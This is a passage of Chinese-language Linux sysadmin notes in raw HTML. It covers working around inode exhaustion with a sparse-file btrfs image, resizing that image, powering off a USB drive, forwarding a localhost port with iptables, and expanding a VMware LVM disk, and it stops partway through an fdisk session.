https://wiki.gentoo.org/wiki/Knowledge_Base:No_space_left_on_device_while_there_is_plenty_of_space_available</p>\n<p>使用<code>df -i</code>查看inodes占用情况，发现确实100%了</p>\n<h3 id=\"_15\">解决方案<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h3>\n<p>inodes上限在mkfs时就定下来了，不能改动，所以没救了。。。</p>\n<p>真没救了嘛？ 当然不是，虽然不能写入大量小文件，但还是可以写一个大文件的嘛，就想到挂载单个文件为btrfs分区</p>\n<h4 id=\"1-inodes\">1. 删文件 腾出部分inodes<a class=\"headerlink\" href=\"#1-inodes\" title=\"Permanent link\">&para;</a></h4>\n<p>删掉一些不用的小文件，也不用删太多</p>\n<h4 id=\"2-1tbsparse-file\">2. 创建一个1TB的sparse file<a class=\"headerlink\" href=\"#2-1tbsparse-file\" title=\"Permanent link\">&para;</a></h4>\n<p>参考: https://prefetch.net/blog/2009/07/05/creating-sparse-files-on-linux-hosts-with-dd/</p>\n<p>使用dd命令，不将实际内容写入硬盘，能很快执行完成：</p>\n<div class=\"codehilite\"><pre><span></span><code>NAME=&quot;filesystem&quot;\ndd<span class=\"w\"> </span>if=/dev/zero<span class=\"w\"> </span>of=<span class=\"cp\">${</span><span class=\"n\">NAME</span><span class=\"cp\">}</span>.img<span class=\"w\"> </span>bs=1<span class=\"w\"> </span>count=0<span class=\"w\"> </span>seek=1T\n</code></pre></div>\n\n<p>执行后ls -alh能看到文件大小为1T，使用<code>du filesystem.img</code>查看真实空间</p>\n<h4 id=\"3\">3. 创建磁盘分区<a class=\"headerlink\" href=\"#3\" title=\"Permanent link\">&para;</a></h4>\n<p>参考： https://www.jamescoyle.net/how-to/2096-use-a-file-as-a-linux-block-device</p>\n<p>btrfs参考： https://btrfs.wiki.kernel.org/index.php/Getting_started</p>\n<div class=\"codehilite\"><pre><span></span><code>mkfs.btrfs<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">NAME</span><span class=\"cp\">}</span>.img\n</code></pre></div>\n\n<h4 id=\"4\">4. 挂载分区<a class=\"headerlink\" href=\"#4\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code>mount<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">NAME</span><span class=\"cp\">}</span>.img<span class=\"w\"> </span>/mnt\n</code></pre></div>\n\n<h4 id=\"5\">5. 然后就可以搬运数据过去了<a class=\"headerlink\" href=\"#5\" title=\"Permanent link\">&para;</a></h4>\n<p>就用mv像往常一样搬咯</p>\n<h4 id=\"_16\">一些查看空间的命令<a class=\"headerlink\" href=\"#_16\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code># 查看磁盘文件占用空间\ndu -h filesystem.img\n# 查看btrfs元数据占用空间\nbtrfs filesystem df /mnt\n# 也是查看空间\nbtrfs filesystem usage /mnt\n</code></pre></div>\n\n<h4 id=\"6\">6. 卸载设备<a class=\"headerlink\" href=\"#6\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code>sudo umount /mnt\nsudo losetup -d /dev/loop0\n</code></pre></div>\n\n<hr />\n<h2 id=\"btrfs\">扩容上述单文件btrfs磁盘<a class=\"headerlink\" href=\"#btrfs\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 安全最佳实践</p>\n<p>随着不停地写入数据，上面创建的1TB分区就要被写满了！但文件所在物理磁盘还有空间，我们可以这样给btrfs磁盘扩容：</p>\n<p>实际文件用truncate增加一个hole；losetup更新loop0的大小；使用btrfs命令给分区扩容</p>\n<p>truncate是一个危险的命令，为了避免手抖把空间写小了丢失数据，这里用<code>--reference</code>参数指定一个目标大小的文件，例如我们想扩容到1.5T=1536GB</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">dd</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"o\">=/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">zero</span><span class=\"w\"> </span><span class=\"nv\">of</span><span class=\"o\">=</span><span class=\"nv\">temp</span><span class=\"w\"> </span><span class=\"nv\">bs</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"nv\">count</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"nv\">seek</span><span class=\"o\">=</span><span class=\"mi\">1536</span><span class=\"nv\">G</span>\n<span class=\"nv\">ls</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">alh</span><span class=\"w\"> </span>#<span class=\"w\"> </span>确认文件大小\n<span class=\"nv\">truncate</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">r</span><span class=\"w\"> </span><span class=\"nv\">temp</span><span class=\"w\"> </span><span class=\"nv\">filesystem</span>.<span class=\"nv\">img</span>\n\n#<span class=\"w\"> </span>假设目前使用的是<span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">loop0</span>\n#<span class=\"w\"> </span>你可以这样确认<span class=\"nv\">loop0</span>确实是<span class=\"nv\">filesystem</span>.<span class=\"nv\">img</span>挂载的：<span class=\"w\"> </span><span class=\"nv\">losetup</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">list</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">loop0</span>\n<span class=\"nv\">losetup</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">c</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">loop0</span>\n\n#<span class=\"w\"> </span>确保目前<span class=\"nv\">btrfs</span>分区是挂载着的，<span class=\"nv\">btrfs</span>必须先<span class=\"nv\">mount</span>才能<span class=\"nv\">resize</span>\n#<span class=\"w\"> </span><span class=\"nv\">mount</span><span class=\"w\"> </span><span class=\"nv\">filesystem</span>.<span class=\"nv\">img</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">mnt</span>\n<span class=\"nv\">btrfs</span><span class=\"w\"> </span><span class=\"nv\">filesystem</span><span class=\"w\"> </span><span class=\"nv\">resize</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"mi\">500</span><span class=\"nv\">G</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">mnt</span>\n</code></pre></div>\n\n<p>参考：</p>\n<ul>\n<li>https://linux.die.net/man/1/truncate</li>\n<li>https://askubuntu.com/questions/260620/resize-dev-loop0-and-increase-space</li>\n<li>https://btrfs.wiki.kernel.org/index.php/UseCases#How_do_I_resize_a_partition.3F_.28shrink.2Fgrow.29</li>\n</ul>\n<hr />\n<h2 id=\"_17\">安全地拔出移动硬盘<a class=\"headerlink\" href=\"#_17\" title=\"Permanent link\">&para;</a></h2>\n<p>首先当然是<code>sudo umount /mnt</code>卸载挂载点咯，如何更安全一点呢？</p>\n<div class=\"codehilite\"><pre><span></span><code>udisksctl power-off -b /dev/sdb\n</code></pre></div>\n\n<p>From: https://unix.stackexchange.com/questions/354138/safest-way-to-remove-usb-drive-on-linux</p>\n<hr />\n<h2 id=\"iptables-127001\">iptables 让监听在127.0.0.1上的端口可以公网访问<a class=\"headerlink\" href=\"#iptables-127001\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://unix.stackexchange.com/questions/111433/iptables-redirect-outside-requests-to-127-0-0-1</p>\n<p>例如有监听在127.0.0.1:1234的应用，现在想通过ip:5678来访问</p>\n<div class=\"codehilite\"><pre><span></span><code>iptables -t nat -I PREROUTING -p tcp --dport 5678 -j DNAT --to-destination 127.0.0.1:1234\nsysctl -w net.ipv4.conf.eth0.route_localnet=1\n</code></pre></div>\n\n<hr />\n<h2 id=\"vmware-lvm\">VMWare扩容磁盘 LVM在线扩容<a class=\"headerlink\" href=\"#vmware-lvm\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 虚拟机</p>\n<p>参考： \n- https://ma.ttias.be/increase-a-vmware-disk-size-vmdk-formatted-as-linux-lvm-without-rebooting/\n- https://www.cyberciti.biz/faq/howto-add-disk-to-lvm-volume-on-linux-to-increase-size-of-pool/\n- https://ubuntuforums.org/showthread.php?t=2277232</p>\n<p>修复<code>GPT PMBR size mismatch</code>用<code>parted -l</code>输入Fix即可，无需live cd</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">parted</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l</span>\n<span class=\"nl\">Warning</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"ow\">Not</span><span class=\"w\"> </span><span class=\"ow\">all</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"nf\">space</span><span class=\"w\"> </span><span class=\"n\">available</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda</span><span class=\"w\"> </span><span class=\"n\">appears</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"n\">be</span><span class=\"w\"> </span><span class=\"n\">used</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">you</span><span class=\"w\"> </span><span class=\"n\">can</span>\n<span class=\"n\">fix</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">GPT</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"k\">use</span><span class=\"w\"> </span><span class=\"ow\">all</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"nf\">space</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">an</span><span class=\"w\"> </span><span class=\"n\">extra</span><span class=\"w\"> </span><span class=\"mi\">314572800</span><span class=\"w\"> </span><span class=\"n\">blocks</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"ow\">or</span><span class=\"w\"> </span><span class=\"k\">continue</span><span class=\"w\"> </span><span class=\"k\">with</span>\n<span class=\"n\">the</span><span class=\"w\"> </span><span class=\"k\">current</span><span class=\"w\"> </span><span class=\"n\">setting</span><span class=\"vm\">?</span>\n<span class=\"n\">Fix</span><span class=\"o\">/</span><span class=\"k\">Ignore</span><span class=\"vm\">?</span><span class=\"w\"> </span><span class=\"n\">Fix</span>\n<span class=\"nl\">Model</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">VMware</span><span class=\"w\"> </span><span class=\"n\">Virtual</span><span class=\"w\"> </span><span class=\"k\">disk</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">scsi</span><span class=\"p\">)</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">sda</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">215</span><span class=\"n\">GB</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"n\">B</span><span class=\"o\">/</span><span class=\"mi\">512</span><span class=\"n\">B</span>\n<span class=\"k\">Partition</span><span class=\"w\"> </span><span class=\"nc\">Table</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">gpt</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"nl\">Flags</span><span class=\"p\">:</span>\n\n<span class=\"n\">Number</span><span class=\"w\">  </span><span class=\"k\">Start</span><span class=\"w\">   </span><span class=\"k\">End</span><span class=\"w\">     </span><span class=\"k\">Size</span><span class=\"w\">    </span><span class=\"k\">File</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"w\">  </span><span class=\"n\">Name</span><span class=\"w\">  </span><span class=\"n\">Flags</span>\n<span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\">      </span><span class=\"mi\">1049</span><span class=\"n\">kB</span><span class=\"w\">  </span><span class=\"mi\">2097</span><span class=\"n\">kB</span><span class=\"w\">  </span><span class=\"mi\">1049</span><span class=\"n\">kB</span><span class=\"w\">                     </span><span class=\"n\">bios_grub</span>\n<span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\">      </span><span class=\"mi\">2097</span><span class=\"n\">kB</span><span class=\"w\">  </span><span class=\"mi\">1076</span><span class=\"n\">MB</span><span class=\"w\">  </span><span class=\"mi\">1074</span><span class=\"n\">MB</span><span class=\"w\">  </span><span class=\"n\">ext4</span>\n<span class=\"w\"> </span><span class=\"mi\">3</span><span class=\"w\">      </span><span class=\"mi\">1076</span><span class=\"n\">MB</span><span class=\"w\">  </span><span class=\"mf\">53.7</span><span class=\"n\">GB</span><span class=\"w\">  </span><span class=\"mf\">52.6</span><span class=\"n\">GB</span>\n\n\n<span class=\"nl\">Model</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">device</span><span class=\"o\">-</span><span class=\"n\">mapper</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">linear</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">dm</span><span class=\"p\">)</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">mapper</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"n\">vg</span><span class=\"o\">-</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"nl\">lv</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mf\">52.6</span><span class=\"n\">GB</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"n\">B</span><span class=\"o\">/</span><span class=\"mi\">512</span><span class=\"n\">B</span>\n<span class=\"k\">Partition</span><span class=\"w\"> </span><span class=\"nc\">Table</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">loop</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"nl\">Flags</span><span class=\"p\">:</span>\n\n<span class=\"n\">Number</span><span class=\"w\">  </span><span class=\"k\">Start</span><span class=\"w\">  </span><span class=\"k\">End</span><span class=\"w\">     </span><span class=\"k\">Size</span><span class=\"w\">    </span><span class=\"k\">File</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"w\">  </span><span class=\"n\">Flags</span>\n<span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\">      </span><span class=\"mf\">0.00</span><span class=\"n\">B</span><span class=\"w\">  </span><span class=\"mf\">52.6</span><span class=\"n\">GB</span><span class=\"w\">  </span><span class=\"mf\">52.6</span><span class=\"n\">GB</span><span class=\"w\">  </span><span class=\"n\">ext4</span>\n\n\n<span class=\"nl\">Warning</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Unable</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"k\">open</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">write</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">Read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"w\"> </span><span class=\"k\">file</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"p\">).</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sr0</span><span class=\"w\"> </span><span class=\"n\">has</span><span class=\"w\"> </span><span class=\"n\">been</span><span class=\"w\"> </span><span class=\"n\">opened</span><span class=\"w\"> </span><span class=\"k\">read</span><span class=\"o\">-</span><span class=\"k\">only</span><span class=\"p\">.</span>\n<span class=\"nl\">Model</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">NECVMWar</span><span class=\"w\"> </span><span class=\"n\">VMware</span><span class=\"w\"> </span><span class=\"n\">SATA</span><span class=\"w\"> </span><span class=\"n\">CD00</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">scsi</span><span class=\"p\">)</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">sr0</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">875</span><span class=\"n\">MB</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">2048</span><span class=\"n\">B</span><span class=\"o\">/</span><span class=\"mi\">2048</span><span class=\"n\">B</span>\n<span class=\"k\">Partition</span><span class=\"w\"> </span><span class=\"nc\">Table</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">mac</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"nl\">Flags</span><span class=\"p\">:</span>\n\n<span class=\"n\">Number</span><span class=\"w\">  </span><span class=\"k\">Start</span><span class=\"w\">  </span><span class=\"k\">End</span><span class=\"w\">    </span><span class=\"k\">Size</span><span class=\"w\">    </span><span class=\"k\">File</span><span class=\"w\"> </span><span class=\"k\">system</span><span class=\"w\">  </span><span class=\"n\">Name</span><span class=\"w\">   </span><span class=\"n\">Flags</span>\n<span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\">      </span><span class=\"mi\">2048</span><span class=\"n\">B</span><span class=\"w\">  </span><span class=\"mi\">6143</span><span class=\"n\">B</span><span class=\"w\">  </span><span class=\"mi\">4096</span><span class=\"n\">B</span><span class=\"w\">                </span><span class=\"n\">Apple</span>\n<span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"w\">      </span><span class=\"mi\">659</span><span class=\"n\">MB</span><span class=\"w\">  </span><span class=\"mi\">662</span><span class=\"n\">MB</span><span class=\"w\">  </span><span class=\"mi\">2523</span><span class=\"n\">kB</span><span class=\"w\">               </span><span class=\"n\">EFI</span>\n\n\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">fdisk</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">loop0</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">91</span><span class=\"w\"> </span><span class=\"n\">MiB</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">95408128</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">186344</span><span class=\"w\"> </span><span class=\"n\">sectors</span>\n<span class=\"nl\">Units</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">I</span><span class=\"o\">/</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">minimum</span><span class=\"o\">/</span><span class=\"n\">optimal</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n\n\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"nl\">sda</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">200</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">214748364800</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">419430400</span><span class=\"w\"> </span><span class=\"n\">sectors</span>\n<span class=\"nl\">Units</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">I</span><span class=\"o\">/</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">minimum</span><span class=\"o\">/</span><span class=\"n\">optimal</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Disklabel</span><span class=\"w\"> </span><span class=\"nl\">type</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">gpt</span>\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"nl\">identifier</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">C6597B3B</span><span class=\"o\">-</span><span class=\"mi\">17</span><span class=\"n\">F0</span><span class=\"o\">-</span><span class=\"mi\">482</span><span class=\"n\">A</span><span class=\"o\">-</span><span class=\"n\">AF5D</span><span class=\"o\">-</span><span class=\"mi\">6056</span><span class=\"n\">F7788052</span>\n\n<span class=\"n\">Device</span><span class=\"w\">       </span><span class=\"k\">Start</span><span class=\"w\">       </span><span class=\"k\">End</span><span class=\"w\">   </span><span class=\"n\">Sectors</span><span class=\"w\"> </span><span class=\"k\">Size</span><span class=\"w\"> </span><span class=\"n\">Type</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda1</span><span class=\"w\">     </span><span class=\"mi\">2048</span><span class=\"w\">      </span><span class=\"mi\">4095</span><span class=\"w\">      </span><span class=\"mi\">2048</span><span class=\"w\">   </span><span class=\"mi\">1</span><span class=\"n\">M</span><span class=\"w\"> </span><span class=\"n\">BIOS</span><span class=\"w\"> </span><span class=\"n\">boot</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda2</span><span class=\"w\">     </span><span class=\"mi\">4096</span><span class=\"w\">   </span><span class=\"mi\">2101247</span><span class=\"w\">   </span><span class=\"mi\">2097152</span><span class=\"w\">   </span><span class=\"mi\">1</span><span class=\"n\">G</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">filesystem</span>\n<span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda3</span><span class=\"w\">  </span><span class=\"mi\">2101248</span><span class=\"w\"> </span><span class=\"mi\">104855551</span><span class=\"w\"> </span><span class=\"mi\">102754304</span><span class=\"w\">  </span><span class=\"mi\">49</span><span class=\"n\">G</span><span class=\"w\"> </span><span class=\"n\">Linux</span><span class=\"w\"> </span><span class=\"n\">filesystem</span>\n\n\n<span class=\"k\">Disk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">mapper</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"n\">vg</span><span class=\"o\">-</span><span class=\"n\">ubuntu</span><span class=\"o\">--</span><span class=\"nl\">lv</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"mi\">49</span><span class=\"w\"> </span><span class=\"n\">GiB</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">52609155072</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">102752256</span><span class=\"w\"> </span><span class=\"n\">sectors</span>\n<span class=\"nl\">Units</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">sectors</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">Sector</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">logical</span><span class=\"o\">/</span><span class=\"n\">physical</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">I</span><span class=\"o\">/</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"k\">size</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">minimum</span><span class=\"o\">/</span><span class=\"n\">optimal</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"mi\">512</span><span class=\"w\"> </span><span class=\"n\">bytes</span>\n<span class=\"n\">root</span><span class=\"nv\">@docker</span><span class=\"err\">:</span><span class=\"o\">/</span><span class=\"n\">d</span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">fdisk</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dev</span><span class=\"o\">/</span><span class=\"n\">sda</span>\n\n<span class=\"n\">Welcome</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"n\">fdisk</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">util</span><span class=\"o\">-</span><span class=\"n\">linux</span><span class=\"w\"> </span><span class=\"mf\">2.31.1</span><span class=\"p\">).</span>\n<span class=\"n\">Changes</span><span class=\"w\"> </span><span class=\"n\">will</span><span class=\"w\"> </span><span class=\"n\">remain</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">memory</span><span class=\"w\"> </span><span class=\"k\">only</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">until</span><span class=\"w\"> </span><span class=\"n\">you</span><span class=\"w\"> </span><span class=\"n\">decide</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"k\">write</span><span class=\"w\"> </span><span class=\"n\">them</span><span class=\"p\">.</span>\n<span class=\"n\">Be</span><span class=\"w\"> </span><span class=\"n\">careful</span><span class=\"w\"> </span><span class=\"k\">before</span><span class=\"w\"> </span><span class=\"k\">using</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"k\">write</span><span class=\"w\"> </span><span class=\"n\">command</span><span class=\"p\">.</span>\n\n\n<span class=\"n\">Command</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">help</span><span class=\"p\">)</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">n</span>\n<span class=\"k\">Partition</span><span class=\"w\"> </span><span 